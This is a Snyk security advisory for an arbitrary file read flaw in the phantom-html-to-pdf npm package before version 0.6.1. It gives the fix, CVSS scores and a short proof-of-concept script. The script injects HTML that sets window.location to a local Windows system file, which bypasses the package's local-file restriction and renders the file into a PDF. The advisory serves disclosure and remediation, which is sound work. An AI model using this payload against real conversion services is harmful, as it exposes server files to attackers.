Arbitrary File Read Affecting phantom-html-to-pdf package, versions <0.6.1


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.26% (66th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-PHANTOMHTMLTOPDF-1023598
  • published 5 Nov 2020
  • disclosed 29 Oct 2020
  • credit Anand Namana

How to fix?

Upgrade phantom-html-to-pdf to version 0.6.1 or higher.

Overview

phantom-html-to-pdf is a Convert html to pdf using phantomjs

Affected versions of this package are vulnerable to Arbitrary File Read.

PoC

var fs = require('fs')
var conversion = require("phantom-html-to-pdf")();
conversion.allowLocalFilesAccess = false
conversion({ html: "document.write(window.location='c:/windows/win.ini')" }, function(err, pdf) {
var output = fs.createWriteStream('output.pdf')
console.log(pdf.logs);
console.log(pdf.numberOfPages);
pdf.stream.pipe(output);
});

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
7.5 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    None
  • Availability (A)
    None
Expand this section

NVD

7.5 high